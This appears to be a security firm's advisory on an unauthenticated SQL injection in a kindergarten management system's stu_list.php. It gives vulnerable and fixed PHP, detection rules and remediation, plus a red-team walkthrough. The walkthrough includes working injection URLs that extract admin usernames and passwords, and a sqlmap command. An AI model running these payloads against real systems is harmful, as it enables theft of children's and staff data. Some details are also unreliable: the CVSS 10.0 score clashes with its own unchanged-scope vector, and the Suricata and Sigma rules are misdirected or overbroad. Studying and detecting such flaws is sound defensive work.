CVE-2025-3684

Executive Summary

CVE-2025-3684 is a critical SQL injection vulnerability discovered in the Xianqi Kindergarten Management System version 2.0 Build 20190808. The flaw resides in the stu_list.php file within the Child Management component, where the sex argument is improperly sanitized, allowing an attacker to inject arbitrary SQL commands. This vulnerability is remotely exploitable without authentication, posing a severe risk of data breach, data manipulation, and potential full system compromise. As of this report, no official patch is available, and a public proof-of-concept (PoC) exploit has been released, increasing the urgency for defensive measures.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Data can be modified or deleted.
• Availability Impact: High (A:H) – Potential denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the stu_list.php script. The application likely constructs a SQL query by directly concatenating user-supplied input from the sex parameter without proper sanitization or parameterized queries. For example, a vulnerable query might look like:

SELECT * FROM students WHERE sex = '$_GET['sex']'

An attacker can manipulate the sex parameter to break out of the intended SQL syntax and execute arbitrary commands. The public exploit demonstrates a simple injection:

' OR '1'='1' -- -

This payload would return all records from the students table, bypassing any intended filtering. More advanced payloads could extract data from other tables, modify records, or even execute operating system commands if the database user has sufficient privileges.

The attack is initiated via an HTTP GET request to stu_list.php?sex=[payload]. The response will reflect the injected SQL results, confirming the vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (stu_list.php):

<?php
$sex = $_GET['sex'];
$query = "SELECT * FROM students WHERE sex = '$sex'";
$result = mysqli_query($conn, $query);
// ... process results
?>

Patched Code (Hypothetical):

<?php
$sex = mysqli_real_escape_string($conn, $_GET['sex']);
$query = "SELECT * FROM students WHERE sex = '$sex'";
$result = mysqli_query($conn, $query);
// ... process results
?>

Better Patched Code (Using Prepared Statements):

<?php
$stmt = $conn->prepare("SELECT * FROM students WHERE sex = ?");
$stmt->bind_param("s", $_GET['sex']);
$stmt->execute();
$result = $stmt->get_result();
// ... process results
?>

The vulnerable code directly interpolates user input into the SQL string. The first patch uses mysqli_real_escape_string() which is better but still not fully secure against all injection types. The recommended fix is to use prepared statements with parameterized queries, which completely separates SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Xianqi Kindergarten Management System 2.0 Build 20190808 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via a web browser.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/path/stu_list.php.
2. Craft a malicious sex parameter to test for injection:

   http://target/path/stu_list.php?sex=test
   

   Normal response.
3. Inject a single quote to break the query:

   http://target/path/stu_list.php?sex=test'
   

   Look for SQL errors or unexpected behavior.
4. Use a boolean-based or union-based payload to extract data:

   http://target/path/stu_list.php?sex=' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
   

   Adjust the number of columns based on the table structure.
5. Extract sensitive data (e.g., admin credentials):

   http://target/path/stu_list.php?sex=' UNION SELECT username, password, 3,4,5,6,7,8,9,10 FROM admin-- -
   

Automated Exploitation: Use sqlmap for automated exploitation:

sqlmap -u "http://target/path/stu_list.php?sex=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious GET requests to stu_list.php containing SQL keywords (e.g., UNION, SELECT, OR, --).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use intrusion detection systems (IDS) with signatures for SQL injection.

Mitigation:

• Immediately apply input validation and parameterized queries if possible.
• If patching is not available, consider disabling the vulnerable endpoint or restricting access via IP whitelisting.
• Implement database user privilege minimization (e.g., use a read-only account for the web application).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /stu_list.php with unusual sex parameter values containing SQL syntax.
  • Requests with high frequency or from suspicious IP addresses.
• File IOCs:
  • Modified stu_list.php file (if attacker uploads a web shell).
  • Presence of unexpected files in the web root (e.g., cmd.php, shell.php).
• Database IOCs:
  • Unusual SQL queries in database logs (e.g., UNION SELECT, OR '1'='1').
  • New or modified database users with elevated privileges.
• Behavioral IOCs:
  • Unauthorized access to sensitive tables (e.g., admin, users).
  • Data exfiltration attempts (large outbound data transfers).

Detection Engineering

YARA Rule

rule CVE_2025_3684_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-3684 in Xianqi Kindergarten Management System"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-3684"
    strings:
        $sqli1 = "sex=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "UNION SELECT" nocase
        $sqli4 = "-- -" nocase
        $sqli5 = "1=1" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against Xianqi Kindergarten Management System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-3684 in stu_list.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'sex='
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a name (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3684 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/stu_list.php"; http_uri; content:"sex="; http_uri; pcre:"/(\x27|%27).*(OR|UNION|SELECT|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the System: If the application is internet-facing, consider taking it offline or behind a VPN until a patch is applied.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns targeting stu_list.php.
3. Restrict Access: Limit access to the application to trusted IP addresses only.

Long-Term Fix:

1. Code Review: Rewrite the stu_list.php script to use prepared statements or parameterized queries.
2. Input Validation: Implement strict input validation for all user-supplied parameters.
3. Update: Contact the vendor (Xianqi) for an official patch. If none is available, consider migrating to a different, actively maintained system.

Monitoring:

• Enable detailed logging for the web application and database.
• Set up alerts for any SQL injection patterns detected in logs.
• Regularly review database logs for unauthorized queries.

Valters IT
Securing Digital Frontiers